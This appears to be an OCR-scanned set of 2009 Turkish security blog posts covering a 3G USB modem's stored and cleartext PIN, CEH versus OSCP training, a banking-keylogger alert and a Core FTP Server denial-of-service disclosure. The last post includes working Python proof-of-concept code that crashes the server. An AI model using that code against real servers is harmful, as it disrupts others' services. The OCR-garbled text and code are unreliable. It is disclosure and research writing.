Mutlu Yillar

written by Mert SARICA | 30 December 2009

Gecgtigimiz haftalarda cracker uygulamasinin kaynak kodunu isteyen arkadaslar
vardi, malum yarinda yeni yi1l, cam sakizi coban armaganida olsa hediyesiz
olmazdi. Bu vesile ile isteyenler cracker uygulamasinin kaynak koduna buradan
ulasabilirler.

Herkese mutlu yillar :)

3G USB

written by Mert SARICA | 30 December 2009

Yine canimin sikildigi bir ginde bir arkadasim 3G USB modeminden
bahsediyordu, birden ilgimi c¢ekti, daha dnce inceleme firsatida bulamamistim.
Kendisi bana kisa bir demo yaparak 3G USB modem ile gelen ve Huawei
tarafindan gelistirilen mobil uygulamanin (Not: Turkiye'’deki GSM operatorleri
tarafindan 3G USB modem ile dagitilan mobil uygulamalarin gelistiricisi
Huawei’dir) nasil kullanildigini kisaca gésterdi. Ilk dikkatimi ceken bu
programda Save Pin 6zelliginin olmasiydi (kisaca Internet Explorer’in
remember me 6zelligi gibi dusinebilirsiniz.) cunki bu 6zelligin olmasi
PIN'in, diskte bir yerlerde saklanmasi anlamina geliyordu.

PIN kodunu girin

Litfen PIM kodunuzu giriniz:

T

PIM kodunu kaydet

[ Tamarn l [ Iptal ][ Yardim ]

Bunun disinda bu mobil uygulamanin 3G USB modem ile nasil haberlestigi
merakimi cezbetmisti, uygulama ile modem arasindaki haberlesmede PIN acik mi
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gidiyordu yoksa sifreli mi gidiyordu (sifreli olarak gitmesi ve smartcard
tuzerinde decrypt edilmesi teknik olarak mumkdn md bilmiyorum) bu konuda merak
konusu olmustu. Bunlar disinda 3G USB modem ile kisa mesaj almak ve
gondermekte mimkin oluyordu. SMS alip verme hadisesi hemen aklima yakin
zamanda Turkiye'’deki tum bankalarda hayata gececek olan tek kullanimlik sifre

uygulamasini getirdi.

Bilindigi uUzere 1 Ocak 2010 tarihinden itibaren tim bankalar ig¢in tek
kullanimlik sifre uygulamasi zorunlu hale geliyor. Bu yeni uygulama ile
misteriler, internet bankaciligina girmek icin ilgili banka tarafindan
kendisine kisa mesaj araciligiyla gonderilen tek kullanimlik sifreyi
kullanacaklar. Bunun i¢in misterinin banka kayitlarinda guncel cep telefonu
numarasinin bulunmasi sart.

Peki ya guncel degilse ? Bu durumda misteri cep telefonu numarasini
glincellemek ig¢in ilgili bankanin hizmet merkezini arayarak cep telefonu
numarasini guncelleyecek. Buraya kadar hersey normal ancak aklima sOyle bir
soru takildi. Ya geek bir musteri hazirda 3G USB modemi varken ve mobil
uygulama ile SMS alabiliyorken misteri hizmetlerine cep telefonu numarasi
yerine 3G USB modeminde kullandigi numarasini verirse ne olacak ? Bu durumda
hem internet bankaciligina girmek ve hem de finansal islemler
gerceklestirebilmek icin kullanacagi tek kullanimlik sifre bilgisayarina
ulasacak ve kolayca bu sifreye ulasabilecek ve kullanabilecek. Peki ya
glivenlik ?

Iste bu soruya yanit ararken kendi kendime bir senaryo lrettim. Bir trojan
disindim. Malum internet bankaciliginda kritik islemler Oncesinde (6rnek para
transferi) tek kullanimlik sifreler ile misteriler dogrulaniyor. Peki ya bu
tek kullanimlik sifre 3G USB modeme geliyorsa ? Bu durumda trojan
kullanicinin haberi olmadan internet tarayicisina c¢engel atarak para
transferi islemi esnasinda istenilen tek kullanimlik sifreyi 3G mobil
uygulamasindan alabilir ve kendi kendine finansal islem gerceklestirebilir

miydi ? Muhtemelen evet..

Ornekleri ile daha 6ncede karsilastigimiz lzere artik yeni nesil malwareler
internet tarayicilarina cengel atarak GET/POST edilen verileri kayit altina
aliyorlar. 3G USB modemlerin yayginlasmasi ve insanlarin kullandiklari
hatlari tek kullanimlik sifre icinde kullanmalari durumunda artik art niyetli
kisilerin isleri daha da kolaylasacak gibi goérundyor..

Bu yaziyi yazmamdaki asil amac¢ bu konuya dikkat cekmek ve insanlarin tek
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kullanimlik sifre ic¢in cep telefonlarini kullanmaya devam etmelerini
onermekti ancak diger bir yandan merak ettigim konularada yanit aramaya karar

verdim.

Bir trojan daha disundim, bir sekilde musterinin bilgisayarinda 3G USB
modemin takilmasini beklesin ve daha sonrasinda bu programi kullanarak usb
modeme komutlar gonderebilsin. Peki ya neye yarayacakti bu ? DDOS
saldirilarinin bir parcasi olan zombie bilgisayarlar gibi sms flood yapmaya
yarayan veya sms spam yapmaya yarayan zombie bilgisayarlar art niyetli
insanlarin yeni hedefi olabilirdi. Peki trojanin bu komutlari gdnderebilmek
ic¢in neye ihtiyaci vardi ? Tabiiki 6ncelikle dogru PIN’e cunkd mobil uygulama
ilk acildiginda sayet save pin opsiyonu isaretlenmemisse kullanicidan PIN'i
girmesi isteniyor ancak save pin opsiyonu isaretlenmis ise arka plandan PIN
sifrelenmis xml dosyasindan alinarak decrypt ediliyor ve modeme godnderiliyor.
Bu durumda save pin opsiyonu isaretlenmis olan bir 3G USB modemin bilgisayara
bagli olmasi ve sadece flash disk niyetine kullanilmasi bile trojanin PIN'e
ihtiyac¢ duyulan tim islemleri gerceklestirebilmesine olanak saglayabilir.
Tabii bunun icin oncelikle diskte sifreli olarak saklanan PIN’i kirmasi
gerekiyor.

Buradan yola c¢ikarak PIN’in disk lzerinde nerede tutuldugunu aramaya koyuldum
ve biraz arastirdiktan sonra X/UserData/XProfile.XML dosyasi icerisinde yer
aldigini goérdum. (Not: X, mobil uygulama adina gOre degismektedir.)

< pincode >
1;0;0;0;208;140;157;223;1,;21;209;17;140;122;0;192;79;194;151;235;1;0;0;0;75;2
36;167;138;29;20;126;72;166;229;217;67;144;181;101;205;0;0;0;0;2;0;0;0;0;0;3;
102;0;0;168;0;0;0;16;0;0;0;159;6;226;122;118;34;146;2;20;94;126;13;171;109;15
5;236;0;0;0;0;4;128;0;0;160,;0;0;0;16;0;0;0,;189;145;112;124,;237,;243;6;115;112;
181;100;88;190;90;140;230;8;0;0;0;71;3;36;203;24;100;21;124;20;0;0;0;110;48;8
3;175;194;210;168;227;60;56;209;195;77;188;189;65;216;20;158;150;

< /pincode >

GOoruldigu uzere PIN, xml dosyasinda sifreli olarak tutuluyordu. Sira
kullanilan sifrelemenin ne kadar basarili oldugunu anlamaya gelmisti. Bunun
icin 3G mobil uygulamasini incelemeye basladim ve kisa bir sure icerisinde C#
programlama dili ile yazilmis oldugunu gérdim. Konu C# olunca kaynak koduna
ulasmak ne kadar zor olabilirdi :) Classlari 1 saat inceledikten sonra
sonunda PIN’'in Data Protection API ile sifrelendigini anlamam ve python ile
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sifre ¢Ozucu programi hazirlamam yaklasik 1 saat surdud. Bu sayede Save PIN
opsiyonunun PIN’inin givenligine onem verenler ic¢in kullanilmadan 6nce bir

daha disiinilmesi gerektigini sdyleyebilecek noktaya geldim.

e C:AWINDOWSAsystem32\cmd. exe
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Mobil uygulama ile 3G usb modem arasindaki haberlesmeyi ise usb port monitor
programi ile izlemeye basladigimda PIN’in dogrulama esnasinda ac¢ik halde
modeme gittigini go6rdim.

110 0.00039726 X.e IRP MJ WRITE QCUSB COM9 2 SUCCESS Length 15:
AT+CPIN="7**Q"
111 0.00001117 X.e IOCTL SERIAL GET WAIT MASK QCUSB COM9 2 SUCCESS

Normalde Kobil mIdentity gibi USB akilli kart okuyuculardaki dogrulamalarda,
sifreler bu sekilde acik mi gidiyor bilmiyorum, pekte sanmiyorum ancak eger
acik gitmiyor ve teknik olarak mumkin ise ise mobil uygulamalar ve 3G USB

modemler arasindaki iletisiminde sifreli olmasi glvenligi arttirabilir.

Sonu¢ olarak 3G USB mobil uygulamalardaki save pin opsiyonunun internet
tarayicilarindaki remember me opsiyonunda oldugu gibi riskli oldugunu, bunun
disinda 1 Ocak tarihinden itibaren internet bankaciliginda kullanilacak olan
tek kullanimlik sifrenin 3G USB modem ile kullanilmasi durumunda trojanlarin
hedefi olabilecegini ve son olarak 3G mobil uygulama ile 3G USB modem
arasindaki haberlesmede PIN’in acik olarak transfer edildigini (iyilestirmeye
acik olabilir) sizlerle paylasmak istedim. GSM operatdrlerinde calisan
arkadaslar dilerlerse konu ile ilgili yorum yaparak varsa eksik ve hatali
kisimlari duzelterek beni ve herkesi aydinlatabilirler..
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CEH or OSCP ?

written by Mert SARICA | 30 December 2009
In the early 2000s, I had decided to take the CEH training from EC-Council at

an educational institution in Altunizade, and I had high expectations for
this course. Normally, this training, which is given in 5 days abroad, was
turned into a 3-month course, if I remember correctly. I thought that by
taking this course, I would be able to strengthen my knowledge of how to find
and exploit vulnerabilities in software, and how to develop exploitation
techniques. However, when one day the instructor showed us how to use the
winnuke program, and told me that my expectations should be lowered, I
realized that this course would not contribute much to me. In fact, although
the training materials had interesting modules such as exploit writing and
reverse engineering, these modules were not covered in the course. The reason
for this was that EC-Council had decided that the modules between 22 and 26
should be self-study. If I remember correctly, the CEH version at that time
was v4 (2003), and when the course began, v5 (2005) was released, so our
training materials were updated. To get the certificate, you had to pass a
multiple-choice exam (I think it still is).

Over the years, because of the weak training content, the availability of
exam questions and answers that can be downloaded from the internet, and a
exam system based on theoretical knowledge, I had negative opinions about
this training and certification. Setting aside the exam system, the training
content was not useful for people who had no knowledge of ethical hacking,
and perhaps my expectations from the training were too high, so it
disappointed me.

Years have passed and last year, I think it was around the beginning of June,
version 6 was released. When looking at its content, while there were 26
modules in v5, v5‘te 26 modul varken v6 consists of 67 modules and its
content is quite satisfactory compared to 2005, but as in v5, the most
enjoyable and informative modules are not shown to participants as part of
the course (modules 1-21 are mandatory, the rest are self-study).
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Due to my job, the first question most people ask me is whether I have a CEH
certification. For years, I explained why I did not have a CEH certification
due to the reasons mentioned above and this year, at the beginning of the
year, through my research on ethical hacking training and certification, I
came across a training that I found very satisfying in terms of content and
exam system, Offensive Security 101, also known as Penetration Testing with
Backtrack. As its name suggests, it is a training prepared by the creators of
Backtrack, and it can be taken either abroad or online. If you take the
training online, you can read the training materials in pdf format, watch the
modules in video format, and connect to their servers through VPN to apply
what you have learned. It offers advanced knowledge, from discovering
security vulnerabilities with Fuzzing, preparing exploitation applications
with python, to finding return addresses with ollydbg, compared to CEH. The
exam system is incomparable to CEH, as it is entirely based on practice, on
the day of the exam, VPN definitions are made to give you access to the exam
environment, and if I remember correctly, you were given 4 questions. One
question asked you to research a buffer overflow vulnerability in an
application and write an exploitation application that allows for remote code
execution, while another question asked you to take over a Linux server in
the lab and send them a line from a text file located in the root folder, and
while doing this, using automated scanning tools (nessus, core impact) is
prohibited, in short, the training is very successful from content to the

exam.

In conclusion, If you are just starting out, your knowledge level in ethical
hacking is low, the instructor is qualified (being a pentester should
definitely be a preference), and occasionally, will be able to go beyond the
course schedule, even if some modules are self-study (I don’t know if EC-
Council allows this), I would recommend the CEH training and certification
(you can also make do with the training because of the mediocre exam system).
However, if you have some knowledge in ethical hacking and want to certify
this with practice, I strongly recommend the OSCP training and certification.
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CEH mi1 yoksa OSCP mi 7

written by Mert SARICA | 30 December 2009
If you are looking for an English version of this article, please visit here.

2005 yilinin baslarinda Altunizade’deki bir egitim kurumunda EC-Council’in
CEH egitimini almaya karar vermistim ve bu kurstan beklentilerimde oldukca
yliksekti. Normalde yurt disinda 5 ginde verilen bu egitimi yanlais
hatirlamiyorsam 3 aylik bir kursa cevirip vermislerdi. Bu kursta yazilimlarda
nasil guvenlik ac¢igi bulunacagini ve istismar edilebilecegini ve istismar
uygulamasinin nasil gelistirileceginin 6gretilecegini bu sayede bilgilerimi
pekistirebilecegimi disiniyordum ancak ne zamanki gindn birinde winnuke
programinin nasil kullanilacagi gOsterilmis ve egitmen tarafindan
beklentilerimi asagiya c¢ekmem gerektigi belirtilmisti, iste o zaman bu kursun
bana pek fazla katkisi olmayacagini anlamistim. Aslinda bakildiginda egitim
materyallerinde exploit writing, reverse engineering gibi keyifli modiller
olmasina ragmen kursta bu modiller islenmiyordu sebebi ise EC-Council’in 22
ile 26 arasindaki modillerin self-study olmasina karar vermesinden
kaynaklaniyordu. Yanlis hatirlamiyorsam o zamanki CEH surimu v4 idi (2003) ve
kursun baslarinda v5 (2005) ¢iktigi ic¢in egitim materyallerimiz
guncellenmisti. Sertifikaya sahip olmak icinse coktan sec¢cmeli bir sinavdan

basariyla gecmeniz gerekiyordu (halende oyle sanirim).

Yillarca egitim igeriginin zayif olmasi, internetten indirilebilen sinav
sorulari ve cevaplari ile sahip olunabilecek ve teorik bilgiye dayali bir
sinav sisteminin olmasi nedeniyle bu egitim ve sertifika hakkinda olumsuz
goruslerde bulunuyordum. Sinav sistemi bir kenara egitim icerigi ethical
hacking konusunda hig¢ bir bilgisi olmayan, baslangi¢ seviyesindeki kisiler
icin faydali olabilirdi, belkide egitimden beklentilerim yuksek oldugu igin
beni hayal kirikligina ugratmisti.

Aradan yillar gecti ve ge¢tigimiz yil, saniyorumki Haziran ayinin baslariydi,
v6 piyasaya c¢ikti. Icerigine bakildiginda v5°‘te 26 modiil varken v6 67
modilden olusuyor ve icerigi 2005 yilina kiyasla oldukca tatminkar ancak
v5’'te oldugu gibi en keyifli ve bilgilendirici modidller kursun bir parcasi
olarak katilimcilara gosterilmiyor. (1-21 arasi moduller zorunlu geri
kalanlar ise self-study)

Yaptigaim is geregi insanlarin c¢ogunun sordugu ilk soru CEH sertifikasina
sahip olup olmadigimdi. Yillarca bikmadan usanmadan yukaridaki nedenlerden
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0tirld neden CEH sertifikasina sahip olmadigimi anlattim durdum ve bu yilin
basinda bu soruya yanit olmasi acisindan ethical hacking egitimi ve
sertifikasi lzerine yaptigim arastirmalar sonucunda iceriginin ve sinav
sisteminin beni oldukc¢a tatmin ettigi bir egitim ile karsilastim, Offensive
Security 101 yeni adiyla Penetration Testing with Backtrack. Adindan da
anlasilacagi lzere Backtrack’in yapimcilari tarafindan hazirlanmis ve
isterseniz yurt disinda isterseniz online olarak alabileceginiz bir egitim.
Egitimi internet lzerinden almaniz durumunda pdf formatinda olan egitim
materyalini okuyabiliyor, pratik bilgiler iceren video formatindaki modilleri
izleyebililiyor ve 06grendiklerinizi pratige ddkmenize olanak saglayan
sunucularina vpn erisimi ile baglanabiliyorsunuz. Fuzzing ile guvenlik agig1
kesfetmekten, python ile istismar uygulamasi hazirlamaya, ollydbg ile return
adresi bulmaya kadar CEH’e kiyasla ileri diizeyde bilgi edinmenizi sagliyor.
Sinav sistemi ise CEH ile kiyaslanamaz nedeni ise tamamen pratige dayali
olmasi, sinav gunu size sinav ortamina erisebilmeniz ic¢in vpn tanimlari
yapiliyor ve yanlis hatirlamiyorsam 4 soru veriliyordu. Bir soruda sizden bir
uygulamadaki buffer overflow glvenlik zafiyetini arastirmanizi ve uzaktan kod
calistirmaniza imkan taniyan istismar uygulamasini yazmanizi isterken diger
bir soruda labdaki linux sunucuyu ele gecirmenizi ve root klasoru altindaki
text dosyasi icerisinde yer alan satiri kendilerine iletmeniz isteniyor ve
bunlari gerceklestirirken otomatik tarama arac¢larindan (nessus, core impact)
faydalanmaniz yasak, kisacasi egitim iceriginden sinavina kadar oldukcga
basarili oldugunu soyleyebilirim.

Sonuc¢ olarak yolun basindaysaniz, ethical hacking konusundaki bilgi diizeyiniz
az ise, egitimi verecek egitmen isinin ehli ise (pentester olmasi kesinlikle
tercih sebebi olmalidir), zaman zaman ders programinin disina c¢ikabilecek
hatta self-study olan modiilleride egitimde isleyebilecek ise (EC-Council buna
imkan taniyor mu bir fikrim yok) CEH egitimini ve sertifikasini (vasat sinav
sistemi nedeniyle egitim ilede yetinebilirsiniz) o6nerebilirim. Ancak ethical
hacking konusunda az c¢ok bir bilgiye sahipseniz ve bunu pratige dokerek
sertifikalandirmak istiyorsaniz OSCP egitimini ve sertifikasini siddetle

oneririm.
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Dikkat Malware! !l

written by Mert SARICA | 30 December 2009

Bugliin 6glen saatlerinde bir arkadasim, kendisine gelen siipheli bir e-postayi
benimle paylasti. E-posta, popller bir kariyer sitesindeki is ilanina yanit
seklinde hazirlanmisti ve bu e-postada adi gecen adaya ait C.V detaylarinin
bir web sitesinden indirilebilecedi belirtilmisti. Ilk izlenimim bu kariyer
sitesindeki is verenlerin hedef alindigi yonindeydi. Malum mesai saatleri
icerisinde bu sitede yer alan supheli dosyayi detayli inceleme firsatim
olmadigi icin evde inceleyebilmek ic¢in diskime kayit edip isimin basina
dondum.

Aksam saatlerinde dosyayi incelemeye basladigimda ve dosyanin icerisinde
Tirkce stringlerin yer almasi, yerli yapimi oldugu ihtimalini gic¢lendirdi.
Dosyay1i debugger ile incelemeye devam ettigimde zararli koda ait payload’un
blowfish ile encrypt edildigini bu nedenle antivirisler tarafindan tespit
edilmesinin pek mumkin olmadigini (3/41 basari ve 7/41) go6rdim.

Trojan calistirildiktan hemen sonra kendisini silerek
windows/system32/wins/setup klasori altina msmgrs.exe adi altinda
kopyaliyordu. Trojanin yarattigi trafigi yakindan inceledigimde ise yurt
disindaki bir ftp adresine baglandigini gérdim.

ISC2 code of ethics’in altina imza atmis bir guvenlik uzmani olarak bu konu
karsisinda duyarsiz kalmam mimkin degildi o nedenle kesfettigim ve analiz
ettigim malware ile ilgili olarak insanlari ve kurumlari bilgilendirdim. On
analizler neticesinde trojanin keylogger 6zelligine sahip oldugunu, ek olarak
10'dan fazla Tirk bankasinin internet bankaciligi sayfasina girisi esnasinda
kullanicinin ekran gorintilerini kayit ettigini gérdim. Ilerleyen zamanlarda
malware analizi ile ilgili bir makale yayinlayarak nasil tespit ettigimi ve
analiz ettigimi sizlerle paylasmayi dusunidyorum.

Code of Ethics Canons:

Protect society, the commonwealth, and the infrastructure.
Act honorably, honestly, justly, responsibly, and legally.
Provide diligent and competent service to principals.
Advance and protect the profession.
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Core FTP Server 1.0 Build
319 Denial of Service
Vulnerability

written by Mert SARICA | 30 December 2009
Sorunun kaynagina kabaca bakacak olursak ftp sunucusuna USER komutu

gonderildikten hemen sonra baglanti kesilirse, CPU %100'e ylkselmekte ve
servis kapatilana dek bu seviyede calismaya devam etmektedir. Bu zafiyeti
istismar edebilmek ic¢in ftp sunucusu Uzerinde gecgerli bir hesabinizin

olmasina gerek yoktur.

Not: Buil 321 ile sorun ortadan kalkmistir.

Ok sorry about the delay, here’s the build that should fix it..
http://www.coreftp.com/test/Server.exe (build 321)

Core FTP Support

Download: Core FTP Server 1.0 Build 319

POC Code:

# Core FTP Server 1.0 Build 319

# Denial of Service Vulnerability

# Note: FTP account is not required for exploitation
# http://www.mertsarica.com

import socket, sys
HOST ‘localhost’

PORT = 21
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
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try:

s.connect((HOST, PORT))
except:

print "Connection error"
sys.exit(1)

try:
s.send('USER MS\r\n') # magic packet
s.close()

print("Very good, young padawan, but you still have much to learn...")
except:
print "Connection error"

sys.exit(1)

POC Screen Shot:

L Windows Task Manager.

File Options Wiew Shut Down  Help
# Core FTP Serwver 1.0 fpplications | Processes | performance | Metwaorking | Users
# Denial of Z3ervice Vulnerability
# Note: FTP account is not reguired for exploitati Image Mame ser Mame CPU | Mem Usage LS
# htop://wuw.mertsarica. com :
WMwareService.exe  SYSTEM 0z 4,368 K
socket, sys pythonw, exe Adrministrator oo 13,104 K
Laskmar.exe Administrator i} Z.540F
HOST = '19z2.1658.142.129! cmd, exe Administrator on 1.704 K
PORT = 21 svchost.exe LOZAL SERNVICE oo 3.712E
wireshark.exe Adrinistratar on 23,905 K
jusched.exe Adrinistrator i} C.720E
= = socket.socket (socket.AF INET, socket.30CE STREH VWiwarelser, exe Administr ator oo 5276 K
SR WiwareTray, exe Adrninistrator oo 3,39 K
z.connect [ (HOST, PORT)) explarer.exe Adrninistr atar oo 12,100 K
& spoolsy, exe SYSTEM oo S.E7EK
M onnect don eEraE™ wuauclk,exe Adrministrator uli] 3985 K
sys.exit (1) svchost.exe LCZAL SERNICE oo 3.584 K
swchost.exe METWORE SERVICE oo 3548 K
ckfmon, exe Adrinistratar oo 4,085 K
g sychost,exe SY¥3TEM Jul] 23,232k
s.send('USER M3\rin') # magic packet svchost.exe METWORK SERVICE 00 4,236 K
s.closel) swrhinsk pve SYSTFM nn 4. 836 K b

t{"Very good padawan...") [v] show processes from all users

"Connection error™

[ | Processes: 31 CPI Usage: 100% Cornmit Charge: 206K | 1250M

IC:~Documents and Settings“Administrator:DesktopXcore_dos.py
Uery good padawan...

C:~Documents and Settings“Administrator-Desktop>

Lr: 15[Cal: 11



